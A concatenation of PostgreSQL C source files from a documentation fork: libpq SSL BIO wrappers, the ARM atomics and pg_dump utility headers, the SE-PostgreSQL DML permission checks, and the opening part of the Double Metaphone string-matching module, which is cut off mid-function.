switch (save_errno)
{
#ifdef EAGAIN
case EAGAIN:
#endif
#if defined(EWOULDBLOCK) && (!defined(EAGAIN) || (EWOULDBLOCK != EAGAIN))
case EWOULDBLOCK:
#endif
case EINTR:
BIO_set_retry_read(h);
break;
default:
break;
}
}
errno = save_errno;
return res;
}
static int
my_sock_write(BIO *h, const char *buf, int size)
{
int res;
int save_errno;
res = pqsecure_raw_write((PGconn *) h->ptr, buf, size);
save_errno = errno;
BIO_clear_retry_flags(h);
if (res <= 0)
{
if (save_errno == EINTR)
{
BIO_set_retry_write(h);
}
}
return res;
}
static BIO_METHOD *
my_BIO_s_socket(void)
{
if (!my_bio_initialized)
{
memcpy(&my_bio_methods, BIO_s_socket(), sizeof(BIO_METHOD));
my_bio_methods.bread = my_sock_read;
my_bio_methods.bwrite = my_sock_write;
my_bio_initialized = true;
}
return &my_bio_methods;
}
/* This should exactly match openssl's SSL_set_fd except for using my BIO */
static int
my_SSL_set_fd(PGconn *conn, int fd)
{
int ret = 0;
BIO *bio = NULL;
bio = BIO_new(my_BIO_s_socket());
if (bio == NULL)
{
SSLerr(SSL_F_SSL_SET_FD, ERR_R_BUF_LIB);
goto err;
}
/* Use 'ptr' to store pointer to PGconn */
bio->ptr = conn;
SSL_set_bio(conn->ssl, bio, bio);
BIO_set_fd(bio, fd, BIO_NOCLOSE);
ret = 1;
err:
return ret;
}
|
smatsudajp/jpug-doc | src/include/port/atomics/arch-arm.h | /*-------------------------------------------------------------------------
*
* arch-arm.h
* Atomic operations considerations specific to ARM
*
* Portions Copyright (c) 2013-2014, PostgreSQL Global Development Group
*
* NOTES:
*
* src/include/port/atomics/arch-arm.h
*
*-------------------------------------------------------------------------
*/
/* intentionally no include guards, should only be included by atomics.h */
#ifndef INSIDE_ATOMICS_H
#error "should be included via atomics.h"
#endif
/*
* 64 bit atomics on arm are implemented using kernel fallbacks and might be
* slow, so disable entirely for now.
* XXX: We might want to change that at some point for AARCH64
*/
#define PG_DISABLE_64_BIT_ATOMICS
|
smatsudajp/jpug-doc | src/bin/pg_dump/dumputils.h | /*-------------------------------------------------------------------------
*
* Utility routines for SQL dumping
* Basically this is stuff that is useful in both pg_dump and pg_dumpall.
* Lately it's also being used by psql and bin/scripts/ ...
*
*
* Portions Copyright (c) 1996-2014, PostgreSQL Global Development Group
* Portions Copyright (c) 1994, Regents of the University of California
*
* src/bin/pg_dump/dumputils.h
*
*-------------------------------------------------------------------------
*/
#ifndef DUMPUTILS_H
#define DUMPUTILS_H
#include "libpq-fe.h"
#include "pqexpbuffer.h"
/*
* Data structures for simple lists of OIDs and strings. The support for
* these is very primitive compared to the backend's List facilities, but
* it's all we need in pg_dump.
*/
typedef struct SimpleOidListCell
{
struct SimpleOidListCell *next;
Oid val;
} SimpleOidListCell;
typedef struct SimpleOidList
{
SimpleOidListCell *head;
SimpleOidListCell *tail;
} SimpleOidList;
typedef struct SimpleStringListCell
{
struct SimpleStringListCell *next;
char val[1]; /* VARIABLE LENGTH FIELD */
} SimpleStringListCell;
typedef struct SimpleStringList
{
SimpleStringListCell *head;
SimpleStringListCell *tail;
} SimpleStringList;
#define atooid(x) ((Oid) strtoul((x), NULL, 10))
/*
* Preferred strftime(3) format specifier for printing timestamps in pg_dump
* and friends.
*
* We don't print the timezone on Windows, because the names are long and
* localized, which means they may contain characters in various random
* encodings; this has been seen to cause encoding errors when reading the
* dump script. Think not to get around that by using %z, because
* (1) %z is not portable to pre-C99 systems, and
* (2) %z doesn't actually act differently from %Z on Windows anyway.
*/
#ifndef WIN32
#define PGDUMP_STRFTIME_FMT "%Y-%m-%d %H:%M:%S %Z"
#else
#define PGDUMP_STRFTIME_FMT "%Y-%m-%d %H:%M:%S"
#endif
extern int quote_all_identifiers;
extern PQExpBuffer (*getLocalPQExpBuffer) (void);
extern const char *fmtId(const char *identifier);
extern const char *fmtQualifiedId(int remoteVersion,
const char *schema, const char *id);
extern void appendStringLiteral(PQExpBuffer buf, const char *str,
int encoding, bool std_strings);
extern void appendStringLiteralConn(PQExpBuffer buf, const char *str,
PGconn *conn);
extern void appendStringLiteralDQ(PQExpBuffer buf, const char *str,
const char *dqprefix);
extern void appendByteaLiteral(PQExpBuffer buf,
const unsigned char *str, size_t length,
bool std_strings);
extern bool parsePGArray(const char *atext, char ***itemarray, int *nitems);
extern bool buildACLCommands(const char *name, const char *subname,
const char *type, const char *acls, const char *owner,
const char *prefix, int remoteVersion,
PQExpBuffer sql);
extern bool buildDefaultACLCommands(const char *type, const char *nspname,
const char *acls, const char *owner,
int remoteVersion,
PQExpBuffer sql);
extern bool processSQLNamePattern(PGconn *conn, PQExpBuffer buf,
const char *pattern,
bool have_where, bool force_escape,
const char *schemavar, const char *namevar,
const char *altnamevar, const char *visibilityrule);
extern void buildShSecLabelQuery(PGconn *conn, const char *catalog_name,
uint32 objectId, PQExpBuffer sql);
extern void emitShSecLabels(PGconn *conn, PGresult *res,
PQExpBuffer buffer, const char *target, const char *objname);
extern void set_dump_section(const char *arg, int *dumpSections);
extern void simple_string_list_append(SimpleStringList *list, const char *val);
extern bool simple_string_list_member(SimpleStringList *list, const char *val);
#endif /* DUMPUTILS_H */
|
smatsudajp/jpug-doc | contrib/sepgsql/dml.c | <reponame>smatsudajp/jpug-doc
/* -------------------------------------------------------------------------
*
* contrib/sepgsql/dml.c
*
* Routines to handle DML permission checks
*
* Copyright (c) 2010-2014, PostgreSQL Global Development Group
*
* -------------------------------------------------------------------------
*/
#include "postgres.h"
#include "access/htup_details.h"
#include "access/sysattr.h"
#include "access/tupdesc.h"
#include "catalog/catalog.h"
#include "catalog/heap.h"
#include "catalog/dependency.h"
#include "catalog/pg_attribute.h"
#include "catalog/pg_class.h"
#include "catalog/pg_inherits_fn.h"
#include "commands/seclabel.h"
#include "commands/tablecmds.h"
#include "executor/executor.h"
#include "nodes/bitmapset.h"
#include "utils/lsyscache.h"
#include "utils/syscache.h"
#include "sepgsql.h"
/*
* fixup_whole_row_references
*
* When user reference a whole of row, it is equivalent to reference to
* all the user columns (not system columns). So, we need to fix up the
* given bitmapset, if it contains a whole of the row reference.
*/
static Bitmapset *
fixup_whole_row_references(Oid relOid, Bitmapset *columns)
{
Bitmapset *result;
HeapTuple tuple;
AttrNumber natts;
AttrNumber attno;
int index;
/* if no whole of row references, do not anything */
index = InvalidAttrNumber - FirstLowInvalidHeapAttributeNumber;
if (!bms_is_member(index, columns))
return columns;
/* obtain number of attributes */
tuple = SearchSysCache1(RELOID, ObjectIdGetDatum(relOid));
if (!HeapTupleIsValid(tuple))
elog(ERROR, "cache lookup failed for relation %u", relOid);
natts = ((Form_pg_class) GETSTRUCT(tuple))->relnatts;
ReleaseSysCache(tuple);
/* fix up the given columns */
result = bms_copy(columns);
result = bms_del_member(result, index);
for (attno = 1; attno <= natts; attno++)
{
tuple = SearchSysCache2(ATTNUM,
ObjectIdGetDatum(relOid),
Int16GetDatum(attno));
if (!HeapTupleIsValid(tuple))
continue;
if (((Form_pg_attribute) GETSTRUCT(tuple))->attisdropped)
continue;
index = attno - FirstLowInvalidHeapAttributeNumber;
result = bms_add_member(result, index);
ReleaseSysCache(tuple);
}
return result;
}
/*
* fixup_inherited_columns
*
* When user is querying on a table with children, it implicitly accesses
* child tables also. So, we also need to check security label of child
* tables and columns, but here is no guarantee attribute numbers are
* same between the parent ans children.
* It returns a bitmapset which contains attribute number of the child
* table based on the given bitmapset of the parent.
*/
static Bitmapset *
fixup_inherited_columns(Oid parentId, Oid childId, Bitmapset *columns)
{
Bitmapset *result = NULL;
int index;
/*
* obviously, no need to do anything here
*/
if (parentId == childId)
return columns;
index = -1;
while ((index = bms_next_member(columns, index)) >= 0)
{
/* bit numbers are offset by FirstLowInvalidHeapAttributeNumber */
AttrNumber attno = index + FirstLowInvalidHeapAttributeNumber;
char *attname;
/*
* whole-row-reference shall be fixed-up later
*/
if (attno == InvalidAttrNumber)
{
result = bms_add_member(result, index);
continue;
}
attname = get_attname(parentId, attno);
if (!attname)
elog(ERROR, "cache lookup failed for attribute %d of relation %u",
attno, parentId);
attno = get_attnum(childId, attname);
if (attno == InvalidAttrNumber)
elog(ERROR, "cache lookup failed for attribute %s of relation %u",
attname, childId);
result = bms_add_member(result,
attno - FirstLowInvalidHeapAttributeNumber);
pfree(attname);
}
return result;
}
/*
* check_relation_privileges
*
* It actually checks required permissions on a certain relation
* and its columns.
*/
static bool
check_relation_privileges(Oid relOid,
Bitmapset *selected,
Bitmapset *modified,
uint32 required,
bool abort_on_violation)
{
ObjectAddress object;
char *audit_name;
Bitmapset *columns;
int index;
char relkind = get_rel_relkind(relOid);
bool result = true;
/*
* Hardwired Policies: SE-PostgreSQL enforces - clients cannot modify
* system catalogs using DMLs - clients cannot reference/modify toast
* relations using DMLs
*/
if (sepgsql_getenforce() > 0)
{
Oid relnamespace = get_rel_namespace(relOid);
if (IsSystemNamespace(relnamespace) &&
(required & (SEPG_DB_TABLE__UPDATE |
SEPG_DB_TABLE__INSERT |
SEPG_DB_TABLE__DELETE)) != 0)
ereport(ERROR,
(errcode(ERRCODE_INSUFFICIENT_PRIVILEGE),
errmsg("SELinux: hardwired security policy violation")));
if (relkind == RELKIND_TOASTVALUE)
ereport(ERROR,
(errcode(ERRCODE_INSUFFICIENT_PRIVILEGE),
errmsg("SELinux: hardwired security policy violation")));
}
/*
* Check permissions on the relation
*/
object.classId = RelationRelationId;
object.objectId = relOid;
object.objectSubId = 0;
audit_name = getObjectIdentity(&object);
switch (relkind)
{
case RELKIND_RELATION:
result = sepgsql_avc_check_perms(&object,
SEPG_CLASS_DB_TABLE,
required,
audit_name,
abort_on_violation);
break;
case RELKIND_SEQUENCE:
Assert((required & ~SEPG_DB_TABLE__SELECT) == 0);
if (required & SEPG_DB_TABLE__SELECT)
result = sepgsql_avc_check_perms(&object,
SEPG_CLASS_DB_SEQUENCE,
SEPG_DB_SEQUENCE__GET_VALUE,
audit_name,
abort_on_violation);
break;
case RELKIND_VIEW:
result = sepgsql_avc_check_perms(&object,
SEPG_CLASS_DB_VIEW,
SEPG_DB_VIEW__EXPAND,
audit_name,
abort_on_violation);
break;
default:
/* nothing to be checked */
break;
}
pfree(audit_name);
/*
* Only columns owned by relations shall be checked
*/
if (relkind != RELKIND_RELATION)
return true;
/*
* Check permissions on the columns
*/
selected = fixup_whole_row_references(relOid, selected);
modified = fixup_whole_row_references(relOid, modified);
columns = bms_union(selected, modified);
while ((index = bms_first_member(columns)) >= 0)
{
AttrNumber attnum;
uint32 column_perms = 0;
if (bms_is_member(index, selected))
column_perms |= SEPG_DB_COLUMN__SELECT;
if (bms_is_member(index, modified))
{
if (required & SEPG_DB_TABLE__UPDATE)
column_perms |= SEPG_DB_COLUMN__UPDATE;
if (required & SEPG_DB_TABLE__INSERT)
column_perms |= SEPG_DB_COLUMN__INSERT;
}
if (column_perms == 0)
continue;
/* obtain column's permission */
attnum = index + FirstLowInvalidHeapAttributeNumber;
object.classId = RelationRelationId;
object.objectId = relOid;
object.objectSubId = attnum;
audit_name = getObjectDescription(&object);
result = sepgsql_avc_check_perms(&object,
SEPG_CLASS_DB_COLUMN,
column_perms,
audit_name,
abort_on_violation);
pfree(audit_name);
if (!result)
return result;
}
return true;
}
/*
* sepgsql_dml_privileges
*
* Entrypoint of the DML permission checks
*/
bool
sepgsql_dml_privileges(List *rangeTabls, bool abort_on_violation)
{
ListCell *lr;
foreach(lr, rangeTabls)
{
RangeTblEntry *rte = lfirst(lr);
uint32 required = 0;
List *tableIds;
ListCell *li;
/*
* Only regular relations shall be checked
*/
if (rte->rtekind != RTE_RELATION)
continue;
/*
* Find out required permissions
*/
if (rte->requiredPerms & ACL_SELECT)
required |= SEPG_DB_TABLE__SELECT;
if (rte->requiredPerms & ACL_INSERT)
required |= SEPG_DB_TABLE__INSERT;
if (rte->requiredPerms & ACL_UPDATE)
{
if (!bms_is_empty(rte->modifiedCols))
required |= SEPG_DB_TABLE__UPDATE;
else
required |= SEPG_DB_TABLE__LOCK;
}
if (rte->requiredPerms & ACL_DELETE)
required |= SEPG_DB_TABLE__DELETE;
/*
* Skip, if nothing to be checked
*/
if (required == 0)
continue;
/*
* If this RangeTblEntry is also supposed to reference inherited
* tables, we need to check security label of the child tables. So, we
* expand rte->relid into list of OIDs of inheritance hierarchy, then
* checker routine will be invoked for each relations.
*/
if (!rte->inh)
tableIds = list_make1_oid(rte->relid);
else
tableIds = find_all_inheritors(rte->relid, NoLock, NULL);
foreach(li, tableIds)
{
Oid tableOid = lfirst_oid(li);
Bitmapset *selectedCols;
Bitmapset *modifiedCols;
/*
* child table has different attribute numbers, so we need to fix
* up them.
*/
selectedCols = fixup_inherited_columns(rte->relid, tableOid,
rte->selectedCols);
modifiedCols = fixup_inherited_columns(rte->relid, tableOid,
rte->modifiedCols);
/*
* check permissions on individual tables
*/
if (!check_relation_privileges(tableOid,
selectedCols,
modifiedCols,
required, abort_on_violation))
return false;
}
list_free(tableIds);
}
return true;
}
|
smatsudajp/jpug-doc | contrib/fuzzystrmatch/dmetaphone.c | /*
* This is a port of the Double Metaphone algorithm for use in PostgreSQL.
*
* contrib/fuzzystrmatch/dmetaphone.c
*
* Double Metaphone computes 2 "sounds like" strings - a primary and an
* alternate. In most cases they are the same, but for foreign names
* especially they can be a bit different, depending on pronunciation.
*
* Information on using Double Metaphone can be found at
* http://www.codeproject.com/string/dmetaphone1.asp
* and the original article describing it can be found at
* http://drdobbs.com/184401251
*
* For PostgreSQL we provide 2 functions - one for the primary and one for
* the alternate. That way the functions are pure text->text mappings that
* are useful in functional indexes. These are 'dmetaphone' for the
* primary and 'dmetaphone_alt' for the alternate.
*
* Assuming that dmetaphone.so is in $libdir, the SQL to set up the
* functions looks like this:
*
* CREATE FUNCTION dmetaphone (text) RETURNS text
* LANGUAGE C IMMUTABLE STRICT
* AS '$libdir/dmetaphone', 'dmetaphone';
*
* CREATE FUNCTION dmetaphone_alt (text) RETURNS text
* LANGUAGE C IMMUTABLE STRICT
* AS '$libdir/dmetaphone', 'dmetaphone_alt';
*
* Note that you have to declare the functions IMMUTABLE if you want to
* use them in functional indexes, and you have to declare them as STRICT
* as they do not check for NULL input, and will segfault if given NULL input.
* (See below for alternative ) Declaring them as STRICT means PostgreSQL
* will never call them with NULL, but instead assume the result is NULL,
* which is what we (I) want.
*
* Alternatively, compile with -DDMETAPHONE_NOSTRICT and the functions
* will detect NULL input and return NULL. The you don't have to declare them
* as STRICT.
*
* There is a small inefficiency here - each function call actually computes
* both the primary and the alternate and then throws away the one it doesn't
* need. That's the way the perl module was written, because perl can handle
* a list return more easily than we can in PostgreSQL. The result has been
* fast enough for my needs, but it could maybe be optimized a bit to remove
* that behaviour.
*
*/
/***************************** COPYRIGHT NOTICES ***********************
Most of this code is directly from the Text::DoubleMetaphone perl module
version 0.05 available from http://www.cpan.org.
It bears this copyright notice:
Copyright 2000, <NAME> <<EMAIL>>.
All rights reserved.
This code is based heavily on the C++ implementation by
<NAME> and incorporates several bug fixes courtesy
of <NAME> <<EMAIL>>.
This module is free software; you may redistribute it and/or
modify it under the same terms as Perl itself.
The remaining code is authored by <NAME> <<EMAIL>> and
<<EMAIL>> and is covered this copyright:
Copyright 2003, North Carolina State Highway Patrol.
All rights reserved.
Permission to use, copy, modify, and distribute this software and its
documentation for any purpose, without fee, and without a written agreement
is hereby granted, provided that the above copyright notice and this
paragraph and the following two paragraphs appear in all copies.
IN NO EVENT SHALL THE NORTH CAROLINA STATE HIGHWAY PATROL BE LIABLE TO ANY
PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES,
INCLUDING LOST PROFITS, ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS
DOCUMENTATION, EVEN IF THE NORTH CAROLINA STATE HIGHWAY PATROL HAS BEEN
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
THE NORTH CAROLINA STATE HIGHWAY PATROL SPECIFICALLY DISCLAIMS ANY
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE SOFTWARE PROVIDED
HEREUNDER IS ON AN "AS IS" BASIS, AND THE NORTH CAROLINA STATE HIGHWAY PATROL
HAS NO OBLIGATIONS TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR
MODIFICATIONS.
***********************************************************************/
/* include these first, according to the docs */
#ifndef DMETAPHONE_MAIN
#include "postgres.h"
#include "utils/builtins.h"
/* turn off assertions for embedded function */
#define NDEBUG
#endif
#include <stdio.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <assert.h>
/* prototype for the main function we got from the perl module */
static void DoubleMetaphone(char *, char **);
#ifndef DMETAPHONE_MAIN
/*
* The PostgreSQL visible dmetaphone function.
*/
PG_FUNCTION_INFO_V1(dmetaphone);
Datum
dmetaphone(PG_FUNCTION_ARGS)
{
text *arg;
char *aptr,
*codes[2],
*code;
#ifdef DMETAPHONE_NOSTRICT
if (PG_ARGISNULL(0))
PG_RETURN_NULL();
#endif
arg = PG_GETARG_TEXT_P(0);
aptr = text_to_cstring(arg);
DoubleMetaphone(aptr, codes);
code = codes[0];
if (!code)
code = "";
PG_RETURN_TEXT_P(cstring_to_text(code));
}
/*
* The PostgreSQL visible dmetaphone_alt function.
*/
PG_FUNCTION_INFO_V1(dmetaphone_alt);
Datum
dmetaphone_alt(PG_FUNCTION_ARGS)
{
text *arg;
char *aptr,
*codes[2],
*code;
#ifdef DMETAPHONE_NOSTRICT
if (PG_ARGISNULL(0))
PG_RETURN_NULL();
#endif
arg = PG_GETARG_TEXT_P(0);
aptr = text_to_cstring(arg);
DoubleMetaphone(aptr, codes);
code = codes[1];
if (!code)
code = "";
PG_RETURN_TEXT_P(cstring_to_text(code));
}
/* here is where we start the code imported from the perl module */
/* all memory handling is done with these macros */
#define META_MALLOC(v,n,t) \
(v = (t*)palloc(((n)*sizeof(t))))
#define META_REALLOC(v,n,t) \
(v = (t*)repalloc((v),((n)*sizeof(t))))
/*
* Don't do pfree - it seems to cause a segv sometimes - which might have just
* been caused by reloading the module in development.
* So we rely on context cleanup - Tom Lane says pfree shouldn't be necessary
* in a case like this.
*/
#define META_FREE(x) ((void)true) /* pfree((x)) */
#else /* not defined DMETAPHONE_MAIN */
/* use the standard malloc library when not running in PostgreSQL */
#define META_MALLOC(v,n,t) \
(v = (t*)malloc(((n)*sizeof(t))))
#define META_REALLOC(v,n,t) \
(v = (t*)realloc((v),((n)*sizeof(t))))
#define META_FREE(x) free((x))
#endif /* defined DMETAPHONE_MAIN */
/* this typedef was originally in the perl module's .h file */
typedef struct
{
char *str;
int length;
int bufsize;
int free_string_on_destroy;
}
metastring;
/*
* remaining perl module funcs unchanged except for declaring them static
* and reformatting to PostgreSQL indentation and to fit in 80 cols.
*
*/
static metastring *
NewMetaString(char *init_str)
{
metastring *s;
char empty_string[] = "";
META_MALLOC(s, 1, metastring);
assert(s != NULL);
if (init_str == NULL)
init_str = empty_string;
s->length = strlen(init_str);
/* preallocate a bit more for potential growth */
s->bufsize = s->length + 7;
META_MALLOC(s->str, s->bufsize, char);
assert(s->str != NULL);
strncpy(s->str, init_str, s->length + 1);
s->free_string_on_destroy = 1;
return s;
}
static void
DestroyMetaString(metastring *s)
{
if (s == NULL)
return;
if (s->free_string_on_destroy && (s->str != NULL))
META_FREE(s->str);
META_FREE(s);
}
static void
IncreaseBuffer(metastring *s, int chars_needed)
{
META_REALLOC(s->str, (s->bufsize + chars_needed + 10), char);
assert(s->str != NULL);
s->bufsize = s->bufsize + chars_needed + 10;
}
static void
MakeUpper(metastring *s)
{
char *i;
for (i = s->str; *i; i++)
*i = toupper((unsigned char) *i);
}
static int
IsVowel(metastring *s, int pos)
{
char c;
if ((pos < 0) || (pos >= s->length))
return 0;
c = *(s->str + pos);
if ((c == 'A') || (c == 'E') || (c == 'I') || (c == 'O') ||
(c == 'U') || (c == 'Y'))
return 1;
return 0;
}
static int
SlavoGermanic(metastring *s)
{
if ((char *) strstr(s->str, "W"))
return 1;
else if ((char *) strstr(s->str, "K"))
return 1;
else if ((char *) strstr(s->str, "CZ"))
return 1;
else if ((char *) strstr(s->str, "WITZ"))
return 1;
else
return 0;
}
static char
GetAt(metastring *s, int pos)
{
if ((pos < 0) || (pos >= s->length))
return '\0';
return ((char) *(s->str + pos));
}
static void
SetAt(metastring *s, int pos, char c)
{
if ((pos < 0) || (pos >= s->length))
return;
*(s->str + pos) = c;
}
/*
Caveats: the START value is 0 based
*/
static int
StringAt(metastring *s, int start, int length,...)
{
char *test;
char *pos;
va_list ap;
if ((start < 0) || (start >= s->length))
return 0;
pos = (s->str + start);
va_start(ap, length);
do
{
test = va_arg(ap, char *);
if (*test && (strncmp(pos, test, length) == 0))
return 1;
}
while (strcmp(test, "") != 0);
va_end(ap);
return 0;
}
static void
MetaphAdd(metastring *s, char *new_str)
{
int add_length;
if (new_str == NULL)
return;
add_length = strlen(new_str);
if ((s->length + add_length) > (s->bufsize - 1))
IncreaseBuffer(s, add_length);
strcat(s->str, new_str);
s->length += add_length;
}
static void
DoubleMetaphone(char *str, char **codes)
{
int length;
metastring *original;
metastring *primary;
metastring *secondary;
int current;
int last;
current = 0;
/* we need the real length and last prior to padding */
length = strlen(str);
last = length - 1;
original = NewMetaString(str);
/* Pad original so we can index beyond end */
MetaphAdd(original, " ");
primary = NewMetaString("");
secondary = NewMetaString("");
primary->free_string_on_destroy = 0;
secondary->free_string_on_destroy = 0;
MakeUpper(original);
/* skip these when at start of word */
if (StringAt(original, 0, 2, "GN", "KN", "PN", "WR", "PS", ""))
current += 1;
/* Initial 'X' is pronounced 'Z' e.g. 'Xavier' */
if (GetAt(original, 0) == 'X')
{
MetaphAdd(primary, "S"); /* 'Z' maps to 'S' */
MetaphAdd(secondary, "S");
current += 1;
}
/* main loop */
while ((primary->length < 4) || (secondary->length < 4))
{
if (current >= length)
break;
switch (GetAt(original, current))
{
case 'A':
case 'E':
case 'I':
case 'O':
case 'U':
case 'Y':
if (current == 0)
{
/* all init vowels now map to 'A' */
MetaphAdd(primary, "A");
MetaphAdd(secondary, "A");
}
current += 1;
break;
case 'B':
/* "-mb", e.g", "dumb", already skipped over... */
MetaphAdd(primary, "P");
MetaphAdd(secondary, "P");
if (GetAt(original, current + 1) == 'B')
current += 2;
else
current += 1;
break;
case '\xc7': /* C with cedilla */
MetaphAdd(primary, "S");
MetaphAdd(secondary, "S");
current += 1;
break;
case 'C':
/* various germanic */
if ((current > 1)
&& !IsVowel(original, current - 2)
&& StringAt(original, (current - 1), 3, "ACH", "")
&& ((GetAt(original, current + 2) != 'I')
&& ((GetAt(original, current + 2) != 'E')
|| StringAt(original, (current - 2), 6, "BACHER",
"MACHER", ""))))
{
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
current += 2;
break;
}
/* special case 'caesar' */
if ((current == 0)
&& StringAt(original, current, 6, "CAESAR", ""))
{
MetaphAdd(primary, "S");
MetaphAdd(secondary, "S");
current += 2;
break;
}
/* italian 'chianti' */
if (StringAt(original, current, 4, "CHIA", ""))
{
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
current += 2;
break;
}
if (StringAt(original, current, 2, "CH", ""))
{
/* find 'michael' */
if ((current > 0)
&& StringAt(original, current, 4, "CHAE", ""))
{
MetaphAdd(primary, "K");
MetaphAdd(secondary, "X");
current += 2;
break;
}
/* greek roots e.g. 'chemistry', 'chorus' */
if ((current == 0)
&& (StringAt(original, (current + 1), 5,
"HARAC", "HARIS", "")
|| StringAt(original, (current + 1), 3, "HOR",
"HYM", "HIA", "HEM", ""))
&& !StringAt(original, 0, 5, "CHORE", ""))
{
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
current += 2;
break;
}
/* germanic, greek, or otherwise 'ch' for 'kh' sound */
if (
(StringAt(original, 0, 4, "VAN ", "VON ", "")
|| StringAt(original, 0, 3, "SCH", ""))
/* 'architect but not 'arch', 'orchestra', 'orchid' */
|| StringAt(original, (current - 2), 6, "ORCHES",
"ARCHIT", "ORCHID", "")
|| StringAt(original, (current + 2), 1, "T", "S",
"")
|| ((StringAt(original, (current - 1), 1,
"A", "O", "U", "E", "")
|| (current == 0))
/*
* e.g., 'wachtler', 'wechsler', but not 'tichner'
*/
&& StringAt(original, (current + 2), 1, "L", "R",
"N", "M", "B", "H", "F", "V", "W",
" ", "")))
{
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
}
else
{
if (current > 0)
{
if (StringAt(original, 0, 2, "MC", ""))
{
/* e.g., "McHugh" */
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
}
else
{
MetaphAdd(primary, "X");
MetaphAdd(secondary, "K");
}
}
else
{
MetaphAdd(primary, "X");
MetaphAdd(secondary, "X");
}
}
current += 2;
break;
}
/* e.g, 'czerny' */
if (StringAt(original, current, 2, "CZ", "")
&& !StringAt(original, (current - 2), 4, "WICZ", ""))
{
MetaphAdd(primary, "S");
MetaphAdd(secondary, "X");
current += 2;
break;
}
/* e.g., 'focaccia' */
if (StringAt(original, (current + 1), 3, "CIA", ""))
{
MetaphAdd(primary, "X");
MetaphAdd(secondary, "X");
current += 3;
break;
}
/* double 'C', but not if e.g. 'McClellan' */
if (StringAt(original, current, 2, "CC", "")
&& !((current == 1) && (GetAt(original, 0) == 'M')))
{
/* 'bellocchio' but not 'bacchus' */
if (StringAt(original, (current + 2), 1, "I", "E", "H", "")
&& !StringAt(original, (current + 2), 2, "HU", ""))
{
/* 'accident', 'accede' 'succeed' */
if (
((current == 1)
&& (GetAt(original, current - 1) == 'A'))
|| StringAt(original, (current - 1), 5, "UCCEE",
"UCCES", ""))
{
MetaphAdd(primary, "KS");
MetaphAdd(secondary, "KS");
/* 'bacci', 'bertucci', other italian */
}
else
{
MetaphAdd(primary, "X");
MetaphAdd(secondary, "X");
}
current += 3;
break;
}
else
{ /* Pierce's rule */
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
current += 2;
break;
}
}
if (StringAt(original, current, 2, "CK", "CG", "CQ", ""))
{
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
current += 2;
break;
}
if (StringAt(original, current, 2, "CI", "CE", "CY", ""))
{
/* italian vs. english */
if (StringAt
(original, current, 3, "CIO", "CIE", "CIA", ""))
{
MetaphAdd(primary, "S");
MetaphAdd(secondary, "X");
}
else
{
MetaphAdd(primary, "S");
MetaphAdd(secondary, "S");
}
current += 2;
break;
}
/* else */
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
/* name sent in '<NAME>', '<NAME> */
if (StringAt(original, (current + 1), 2, " C", " Q", " G", ""))
current += 3;
else if (StringAt(original, (current + 1), 1, "C", "K", "Q", "")
&& !StringAt(original, (current + 1), 2,
"CE", "CI", ""))
current += 2;
else
current += 1;
break;
case 'D':
if (StringAt(original, current, 2, "DG", ""))
{
if (StringAt(original, (current + 2), 1,
"I", "E", "Y", ""))
{
/* e.g. 'edge' */
MetaphAdd(primary, "J");
MetaphAdd(secondary, "J");
current += 3;
break;
}
else
{
/* e.g. 'edgar' */
MetaphAdd(primary, "TK");
MetaphAdd(secondary, "TK");
current += 2;
break;
}
}
if (StringAt(original, current, 2, "DT", "DD", ""))
{
MetaphAdd(primary, "T");
MetaphAdd(secondary, "T");
current += 2;
break;
}
/* else */
MetaphAdd(primary, "T");
MetaphAdd(secondary, "T");
current += 1;
break;
case 'F':
if (GetAt(original, current + 1) == 'F')
current += 2;
else
current += 1;
MetaphAdd(primary, "F");
MetaphAdd(secondary, "F");
break;
case 'G':
if (GetAt(original, current + 1) == 'H')
{
if ((current > 0) && !IsVowel(original, current - 1))
{
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
current += 2;
break;
}
if (current < 3)
{
/* 'ghislane', ghiradelli */
if (current == 0)
{
if (GetAt(original, current + 2) == 'I')
{
MetaphAdd(primary, "J");
MetaphAdd(secondary, "J");
}
else
{
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
}
current += 2;
break;
}
}
/*
* Parker's rule (with some further refinements) - e.g.,
* 'hugh'
*/
if (
((current > 1)
&& StringAt(original, (current - 2), 1,
"B", "H", "D", ""))
/* e.g., 'bough' */
|| ((current > 2)
&& StringAt(original, (current - 3), 1,
"B", "H", "D", ""))
/* e.g., 'broughton' */
|| ((current > 3)
&& StringAt(original, (current - 4), 1,
"B", "H", "")))
{
current += 2;
break;
}
else
{
/*
* e.g., 'laugh', 'McLaughlin', 'cough', 'gough',
* 'rough', 'tough'
*/
if ((current > 2)
&& (GetAt(original, current - 1) == 'U')
&& StringAt(original, (current - 3), 1, "C",
"G", "L", "R", "T", ""))
{
MetaphAdd(primary, "F");
MetaphAdd(secondary, "F");
}
else if ((current > 0)
&& GetAt(original, current - 1) != 'I')
{
MetaphAdd(primary, "K");
MetaphAdd(secondary, "K");
}
current += 2;
break;
}
}
if (GetAt(original, current + 1) == 'N')
{
if ((current == 1) && IsVowel(original, 0)
&& !SlavoGermanic(original))
{
MetaphAdd(primary, "KN");
MetaphAdd(secondary, "N");
}
else
/* not e.g. 'cagney' */
if (!StringAt(original, (current + 2), 2, "EY", "")
&& (GetAt(original, current + 1) != 'Y')
&& !SlavoGermanic(original))
{
MetaphAdd(primary, "N");
MetaphAdd(secondary, "KN");
}
else
{
MetaphAdd(primary, "KN");
MetaphAdd(secondary, "KN");
}
current += 2;
break;
}
/* 'tagliaro' */
if (StringAt(original, (current + 1), 2, "LI", "")
&& !SlavoGermanic(original))
{
MetaphAdd(primary, "KL");
MetaphAdd(secondary, "L");
current += 2;
break;
}
